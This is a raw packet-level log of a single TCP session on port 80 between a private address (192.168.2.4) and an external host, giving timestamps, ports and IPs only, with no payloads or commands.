Nov 23, 2024 17:44:31.052778006 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.061203003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.061261892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.061332941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.061381102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.069895029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.069951057 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.070003033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.070049047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.077822924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.077876091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.077965975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.078008890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.086261988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.086333036 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.086370945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.086370945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.094690084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.094706059 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.094749928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.094784021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.103272915 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.103348970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.103363037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.103409052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.111459970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.111521959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.111555099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.111596107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.155488014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.155579090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.155602932 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.155653954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.159715891 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.159771919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.231307030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.231365919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.231389999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.231436014 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.233767033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.233841896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.233870983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.233946085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.242800951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.242866039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.242866039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.242908955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.440933943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.440952063 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.440999031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.441054106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.680087090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.680110931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.680176973 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.680222988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.680418015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.680444002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.680479050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.680479050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.680706024 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.680721998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.680754900 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.680775881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.680980921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.680996895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681029081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681056023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681256056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681281090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681308985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681330919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681412935 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681436062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681451082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681461096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681468964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681480885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681499004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681499004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681514978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681519032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681530952 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681539059 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681561947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681567907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681580067 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681588888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681603909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681618929 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681624889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681648016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681670904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681670904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681670904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681670904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681687117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681696892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681710005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681713104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681725979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681741953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681746006 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681757927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681773901 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681777954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681777954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681777954 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681791067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681802988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681806087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681822062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681829929 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681829929 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681837082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681849957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681854010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681870937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681869984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681893110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681904078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681904078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681910038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681926012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681941986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681952000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681952000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681952000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681958914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.681976080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.681994915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.682015896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.683135986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.683160067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.683180094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.683196068 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.683271885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.683280945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.683351040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.804408073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.804497004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.804567099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.807375908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.807391882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.807446003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.812349081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.812418938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.812460899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.812509060 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.817964077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.818020105 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.818124056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.818166971 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.822024107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.822038889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.822092056 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.825671911 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.825727940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.825778008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.825833082 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.829623938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.829714060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.829777002 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.833539009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.833597898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.833600998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.833684921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.837517023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.837902069 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.837958097 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.841490984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.841713905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.841721058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.843286991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.845278978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.845335960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.845413923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.845465899 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.849235058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.849351883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.849411964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.853044033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.853173018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.853224039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.856950045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.857074022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.857127905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.860853910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.860989094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.861044884 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.864923000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.864939928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.864996910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.868871927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.868889093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.868942022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.872740030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.872914076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.872970104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.876774073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.876790047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.876837969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.880399942 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.880516052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.880584955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.884358883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.884506941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.884557962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.888190985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.888530970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.888586044 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.892514944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.892529964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.892575979 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.892621040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.896167040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.896183014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.896245003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.900243998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.900430918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.900492907 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.904469967 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.904649973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.904716969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.925812960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.925911903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.925985098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.927786112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.927938938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.927995920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.931669950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.931740999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.931793928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.935798883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.935816050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.935869932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.939480066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.939611912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.939681053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.943409920 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.943536043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.943598032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.947266102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.947382927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.947438955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.951180935 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.951280117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.951349020 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.961853027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.961925983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.961985111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.963586092 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.963680983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.963740110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.967498064 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.967534065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.967588902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.971421957 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.971512079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.971575975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.975356102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.975497007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.975575924 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.979271889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.979346991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.979418993 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.983098984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.983189106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.983267069 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.987183094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.987245083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.987262011 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.987294912 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.005356073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.005383015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.005477905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.006973982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.007051945 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.007126093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.010862112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.010879040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.010950089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.014808893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.014827013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.014884949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.018687010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.018743038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.018804073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.022542000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.022780895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.022846937 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.026447058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.026563883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.026640892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.030360937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.030558109 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.030616999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.034290075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.034306049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.034365892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.038270950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.038352013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.038413048 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.042150974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.042273998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.042325974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.046129942 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.046231985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.046289921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.049938917 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.050124884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.050184965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.053819895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.053946972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.054007053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.057697058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.057815075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.057873011 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.059325933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.059458971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.059513092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.061072111 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.061088085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.061134100 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.061163902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.062573910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.062628984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.062665939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.062716961 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.064213991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.064254045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.064328909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.065793037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.065867901 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.065888882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.067277908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.067468882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.067519903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.067533016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.068836927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.068911076 CET	49745	80	192.168.2.4	185.215.113.206
